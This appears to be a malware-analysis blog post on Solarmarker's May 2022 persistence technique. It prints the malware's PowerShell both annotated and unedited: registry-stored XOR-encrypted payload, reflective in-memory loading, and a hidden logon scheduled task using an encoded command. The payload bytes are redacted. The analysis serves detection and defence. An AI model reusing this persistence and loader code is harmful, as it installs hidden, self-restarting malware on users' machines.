
The purpose of this post is to document the new persistence methods used by Solarmarker. The previous persistence methods were used from July 2021 until May 2022 (read about those here, here and here). Whether this persistence is short lived or is used for the next year, it is my desire to make it publicly known to those who need to identify it. Read until the end for observations and for links to the binaries on VirusTotal. (Binaries are also on MalwareBazaar.)
Short summary on Solarmarker:
Solarmarker malware is downloaded by victims by accidental web downloads. The actor behind Solarmarker has used SEO Poisoning in order to trick users into downloading the malware. The malware is usually signed with a valid Authenticode certificate and is 260MB in size. The large size prevents some detection engines from scanning it and prevents upload to most sandboxes. When executed, Solarmarker launches a decoy—the decoy is usually a PDF editor—and loads PowerShell modules in order to execute PowerShell.
Solarmarker installs a backdoor on initial execution.
The backdoor is able to execute multiple modules including an information stealer, a form grabber/altcoin wallet stealer, a SOCKS proxy, and a VNC loader which loads a VNC client into memory for those who have interesting credentials on their hosts.
In the following section we will discuss what the PowerShell does. The full, unedited PowerShell, will be available at the end of the blogpost.
Initial PowerShell
The script prepares a variable with the victim computer’s name and username. The variable will be used a few times within the script.
$HostnameAndUsername = $env:COMPUTERNAME + $env:USERNAME;
The script wraps the following check in a try catch statement
. This prevents the malware from creating multiple of the same persistence method. Until now, Solarmarker would create a new persistence each time a user executed the first stage it and would result in launching multiple backdoors.
try {
Get-ItemPropertyValue -Path "HKCU:\SOFTWARE\" -Name $HostnameAndUsername;
From the try statement
, we learn that the malware will use a Registry key located in Hive Key Current User. It will be located at the root of Software and the name of the created key will be the victim hostname and the username.

The script contains the binary in an encrypted format and it contains a decryption key. As seen previously with Solarmarker, the binary is decrypted using a for loop
and bitwise XOR (bxor
).
$Binary = @([byte] [REDACTED] );
$DecryptionKey = @([byte] [REDACTED] );
for ($i = 0; $i -lt $Binary.Count; $i++) {
$Binary[$i] = $Binary[$i] -bxor $DecryptionKey[$i % 276 ];
};
The script will then generate a random string of characters, 36 characters long. The string is turned into a SecureString
for later use.
$Random36Characters = ((0..255) | Get-Random -Count 36 | ForEach-Object ToString X2) -join '';
$SecureString36Characters = $Random36Characters | ConvertTo-SecureString -AsPlainText -Force | ConvertFrom-SecureString;
The script then re-encrypts the binary using another for loop; this time using the $Random36CharacterString as the Bitwise XOR key. Once encrypted, the registry key is created using the $HostnameAndUsername
as the key name and the encrypted binary for the registry key value
. (In the image above, the binary could be see in RegEdit
in the Data
field.)
for ($i = 0; $i -lt $Binary.Count; $i++) {
$Binary[$i] = $Binary[$i] -bxor $Random36Characters[$i % $Random36Characters.Length];
};
New-ItemProperty -Path "HKCU:\SOFTWARE\" -Name $HostnameAndUsername -PropertyType Binary -Value $Binary;
The script prepares another variable with 16 random characters to use later.
$Random16Characters = ((0..255) | Get-Random -Count 16 | ForEach-Object ToString X2) -join '';
The following section prepares the command that will be saved as persistence. The command is long so I have broken it into pieces and it will be encoded using Base64 so I’ve named it CommandToEncode
. The command is the main persistence for this version of the malware: it decrypts, loads the binary into memory, and executes it.
The command will retrieve the bytes of the the encrypted binary from the registry using Get-ItemPropertyValue
. ( The placeholder string “{{uc}}
” will be replaced with the $HostnameAndUsername at the end of the command’s preparation.) This
$CommandToEncode = {
$EncryptedBinary=Get-ItemPropertyValue -Path "HKCU:\SOFTWARE\" -Name {{uc}};
....
It then prepares the Decryption key and decrypts the binary again with another for loop
and Bitwise XOR. The “{{a}}
” string gets replaced later with $SecureString36Characters
which the script created previously. As a reminder, this was a randomly generated string for encrypting the binary. In this setting, it is being prepared as the decryption key.
...
$SecureString="{{a}}"|ConvertTo-SecureString;
$SecureStringDecryptionKey=[Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureString));..
for($i=0;$i -lt $EncryptedBinary.Count;$i++)
{$EncryptedBinary[$i] = $EncryptedBinary[$i] -bxor $SecureStringDecryptionKey[$i % $SecureStringDecryptionKey.Length]};
...
The command then prepares to load and execute the binary using Reflection.Assembly.
The binary will be given two parameters when it is invoked $Start
and “{{h}}
“. I do not fully understand the variable I named $Start
: It appears to be internal to the binary. The {{h}}
placeholder is replaced with $Random16Characters
which was created earlier.
...
$BinaryForInvocation=[Reflection.Assembly]::Load($EncryptedBinary);
$BinaryParameter=[System.Collections.Generic.List[System.String[]]]::new();
$BinaryParameter.Add("{{h}}");
$BinaryForInvocation.EntryPoint.Invoke($Start, $BinaryParameter);
}.ToString().Replace("{{a}}", $SecureString36Characters).Replace("{{h}}", $Random16Characters).Replace("{{uc}}", $HostnameAndUsername);
The command is now ready to be encoded to Base64.
$EncodedCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($CommandToEncode));
The script then prepares the Scheduled Task. Preparation is pretty straight forward: the script will create a task that will use cmd.exe
to execute the encoded command using PowerShell.
The persistence will happen “-AtLogon
” and will run under the current user. Once all the required parameters are set up. The task is registered with the hostname and username from the $HostnameAndUsername
$ScheduledTaskAction = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c start /min """" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand $EncodedCommand";
$ScheduleTaskTrigger = New-ScheduledTaskTrigger -AtLogOn -User $env:UserName;
$ScheduledTaskUser = New-ScheduledTaskPrincipal $env:UserName;
$ScheduledTaskSettings = New-ScheduledTaskSettingsSet;
$ScheduledTaskParameters = New-ScheduledTask -Action $ScheduledTaskAction -Trigger $ScheduleTaskTrigger -Principal $ScheduledTaskUser -Settings $ScheduledTaskSettings;
Register-ScheduledTask $HostnameAndUsername -InputObject $ScheduledTaskParameters;
Finally, to get the backdoor started, the script executes Start-ScheduledTask
Start-ScheduledTask $HostnameAndUsername;
This has been a lot of words, but the scheduled task will look like the image below: the task is named after the victim Hostname and username; it will run at logon; and it will perform the action of executing cmd.exe which will execute PowerShell and the Base64 encoded command.

Observations
I suspect that this persistence script will continue to be in use for a short while. The previous script remained in use for about a year: during that year, the main changes were to the decryption methods. That is, instead of Bitwise XOR, the actor had changed to AES Encryption. However, the actor also reads my blogposts and may change stuff sooner. (Hi Solarmarker Dev!)
The first stage binary received 5/62 detections at VirusTotal when first seen. In this regard, detection is still low. However, the backdoor received higher rates of detection: 15/68. Windows Defender was also able to identify the backdoor as malicious already. However, it is unclear how the numbers from VirusTotal relate to detecting the backdoor in memory: by its nature, the engines at VirusTotal best represent static detections.
The higher detection for the backdoor suggest that the actor may need to change the backdoor sooner than the first stage. It may be that the backdoor’s current obfuscation triggers too many detection engines and the obfuscation will soon change.
Binaries:
First Stage: cce973b40f864284f2226213f1989c45861d89fd62eb0e311e880f5d017e23b2
Backdoor: de477316c34507e8eb6817a6e6accf8fcdfe1befd245e787fc24b5549fc6ac7c
For historical binaries, review the tag Solarmarker at MalwareBazaar. The malware is also known as Polazert, Jupyter Infostealer, and Polazert: if you are trying to review all the binaries, check those different tags and other malware repositories for those names. Also, follow me on Twitter, as I often share new binaries and new binaries are often shared with me. (Please also consider sharing binaries you find with me.)
The different modules of Solarmarker have been uploaded to VirusTotal and MalwareBazaar without much discrimination. If you are interested in any particular module, please feel free to reach out. Additionally, if you are interested in other aspects of the malware, please feel free to reach out, I’m always happy to discuss.
Unedited PowerShell
$XeazkTdbem = $env:COMPUTERNAME + $env:USERNAME;
try {
Get-ItemPropertyValue -Path "HKCU:\SOFTWARE\" -Name $XeazkTdbem;
} catch {
$LxcKbfozrkckfy = @([byte] [REDACTED FOR SIZE] );
$MlOpndq = @([byte] [REDACTED FOR SIZE] );
for ($JVthyr = 0; $JVthyr -lt $LxcKbfozrkckfy.Count; $JVthyr++) {
$LxcKbfozrkckfy[$JVthyr] = $LxcKbfozrkckfy[$JVthyr] -bxor $MlOpndq[$JVthyr % 276 ];
};
$FpaxkqovabvjdgFphus = ((0..255) | Get-Random -Count 36 | ForEach-Object ToString X2) -join '';
$YvzrupxlaguS = $FpaxkqovabvjdgFphus | ConvertTo-SecureString -AsPlainText -Force | ConvertFrom-SecureString;
for ($JVthyr = 0; $JVthyr -lt $LxcKbfozrkckfy.Count; $JVthyr++) {
$LxcKbfozrkckfy[$JVthyr] = $LxcKbfozrkckfy[$JVthyr] -bxor $FpaxkqovabvjdgFphus[$JVthyr % $FpaxkqovabvjdgFphus.Length];
};
New-ItemProperty -Path "HKCU:\SOFTWARE\" -Name $XeazkTdbem -PropertyType Binary -Value $LxcKbfozrkckfy;
$ZmrwppYyo = ((0..255) | Get-Random -Count 16 | ForEach-Object ToString X2) -join '';
$HztdavvzwppfnykKerhhr = {
$Hqmwsru=Get-ItemPropertyValue -Path "HKCU:\SOFTWARE\" -Name {{uc}};
$ZjlkpeV="{{a}}"|ConvertTo-SecureString;
$MlOpndq=[Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($ZjlkpeV));
for($JVthyr=0;$JVthyr -lt $Hqmwsru.Count;$JVthyr++) {$Hqmwsru[$JVthyr] = $Hqmwsru[$JVthyr] -bxor $MlOpndq[$JVthyr % $MlOpndq.Length]};
$Uuvpwcwzhjzloyb=[Reflection.Assembly]::Load($Hqmwsru);
$LbaftmfhzJmpzzdclbeei=[System.Collections.Generic.List[System.String[]]]::new();
$LbaftmfhzJmpzzdclbeei.Add("{{h}}");
$Uuvpwcwzhjzloyb.EntryPoint.Invoke($GlbDwpaxkntj, $LbaftmfhzJmpzzdclbeei);
}.ToString().Replace("{{a}}", $YvzrupxlaguS).Replace("{{h}}", $ZmrwppYyo).Replace("{{uc}}", $XeazkTdbem);
$JmyqtSnbyxcus = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($HztdavvzwppfnykKerhhr));
$ZjejjyLeifoevinxqac = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c start /min """" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand $JmyqtSnbyxcus";
$YiJojgxdiincqdaa = New-ScheduledTaskTrigger -AtLogOn -User $env:UserName;
$ZykzytmnDhzanyfoivmhebv = New-ScheduledTaskPrincipal $env:UserName;
$AdifOauxdohmidnbqkdckh = New-ScheduledTaskSettingsSet;
$DKtmfpvyagpmn = New-ScheduledTask -Action $ZjejjyLeifoevinxqac -Trigger $YiJojgxdiincqdaa -Principal $ZykzytmnDhzanyfoivmhebv -Settings $AdifOauxdohmidnbqkdckh;
Register-ScheduledTask $XeazkTdbem -InputObject $DKtmfpvyagpmn;
Start-ScheduledTask $XeazkTdbem;
}
One thought on “Solarmarker: May 2022 Persistence”